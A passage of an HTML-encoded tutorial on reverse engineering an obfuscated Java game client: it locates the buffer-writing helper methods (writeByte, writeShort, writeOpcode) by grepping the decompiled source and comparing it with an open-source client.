    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;final&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;boolean&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;o&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;boolean&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]{&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;...,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;};&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;final&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;P&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;25&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In the code snippet above, it is evident that the string array contains the names of the game’s skills. Additionally, the boolean array is likely correlated with the string array, indicating whether the specific skill works. Furthermore, the final line initializing an array of integers will most likely hold the current level (or total experience) for each skill.&lt;/p&gt;

&lt;p&gt;The next steps would be to see where these variables are referenced (hint: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Class Visualizer&lt;/code&gt; can help) and go from there.&lt;/p&gt;

&lt;h3 id=&quot;helper-methods&quot;&gt;Helper Methods&lt;/h3&gt;

&lt;p&gt;Building upon the previous section, it is customary to encounter helper methods within the client, particularly those aimed at facilitating network operations. Some of these helpers include:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Converting a type into its corresponding byte representation and vice-versa&lt;/li&gt;
  &lt;li&gt;Converting endianness&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It is important to note that the presence and implementation of helper methods within the client may vary depending on any modifications made by the developer to the underlying boilerplate.&lt;/p&gt;

&lt;p&gt;For instance, it is common to find a variation of a helper method that writes an integer to the buffer as a short:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;writeShort&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;currentOffset&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;currentOffset&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;However, it is worth mentioning that achieving the same outcome can be accomplished through different approaches, such as utilizing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ByteBuffer&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;byteArray&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;ByteBuffer&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ByteBuffer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;wrap&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;byteArray&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;putShort&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Though at the current moment, we’ll assume that the developer kept the same pattern shown in the first example.&lt;/p&gt;

&lt;p&gt;As mentioned in the previous section, obfuscators tend to not modify hardcoded values meaning in our case, we can look for the right-shift operation that extracts the most significant byte by 8 bits:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-ir&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'&amp;gt;&amp;gt; 8'&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This returns 187 matches, to help cut-down on the number of matches, we can use regular expressions:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;egrep &lt;span class=&quot;nt&quot;&gt;-ir&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'\(byte\)\s?\(\w+ &amp;gt;&amp;gt; 8\)'&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;

./gp_0.java:       byArray[n3++] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;byte&lt;span class=&quot;o&quot;&gt;)(&lt;/span&gt;n5 &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; 8&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
./b_0.java:        this.b[this.o++] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;byte&lt;span class=&quot;o&quot;&gt;)(&lt;/span&gt;n2 &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; 8&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
./b_0.java:        this.b[this.o++] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;byte&lt;span class=&quot;o&quot;&gt;)(&lt;/span&gt;n2 &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; 8&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
./b_0.java:        this.b[this.o++] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;byte&lt;span class=&quot;o&quot;&gt;)(&lt;/span&gt;n2 &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; 8&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
./b_0.java:        this.b[this.o++] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;byte&lt;span class=&quot;o&quot;&gt;)(&lt;/span&gt;n2 &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; 8&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
./b_0.java:        this.b[this.o++] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;byte&lt;span class=&quot;o&quot;&gt;)(&lt;/span&gt;l &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; 8&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
./b_0.java:        this.b[this.o++] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;byte&lt;span class=&quot;o&quot;&gt;)(&lt;/span&gt;n2 &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; 8&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
./b_0.java:        this.b[this.o++] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;byte&lt;span class=&quot;o&quot;&gt;)(&lt;/span&gt;n2 &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; 8&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
./b_0.java:        this.b[this.o++] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;byte&lt;span class=&quot;o&quot;&gt;)(&lt;/span&gt;n2 &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; 8&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
./yx_2.java:       this.b[1] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;byte&lt;span class=&quot;o&quot;&gt;)(&lt;/span&gt;n3 &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; 8&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
./yx_2.java:       this.b[4] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;byte&lt;span class=&quot;o&quot;&gt;)(&lt;/span&gt;n4 &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; 8&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
./yx_2.java:       this.b[0] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;byte&lt;span class=&quot;o&quot;&gt;)(&lt;/span&gt;n2 &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; 8&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
./yx_2.java:       this.b[2] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;byte&lt;span class=&quot;o&quot;&gt;)(&lt;/span&gt;n5 &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; 8&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
./yx_2.java:       this.b[5] &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;byte&lt;span class=&quot;o&quot;&gt;)(&lt;/span&gt;n8 &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; 8&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Awesome, this cuts-down the results to a total of 3 different classes.&lt;/p&gt;

&lt;p&gt;After further examination, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;b_0.java&lt;/code&gt; looks to be the most promising as the following additional methods were discovered:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;final&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;final&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;());&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;final&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;P&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;final&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;final&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;C&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Analyzing the provided code snippets, we can infer the functionality of each method by leveraging networking knowledge and referencing the open-source client.&lt;/p&gt;

&lt;p&gt;For example, the first method is writing a single byte to the buffer, so we can conclude this is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;writeByte()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The second method (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;o&lt;/code&gt;) is a bit more tricky as it appears to invoke a method on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;p&lt;/code&gt; field which we have no clue what it is. Luckily, this is where the open-source client comes in handy:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;writeOpcode&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;currentOffset&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;encryption&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getNextKey&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;());&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

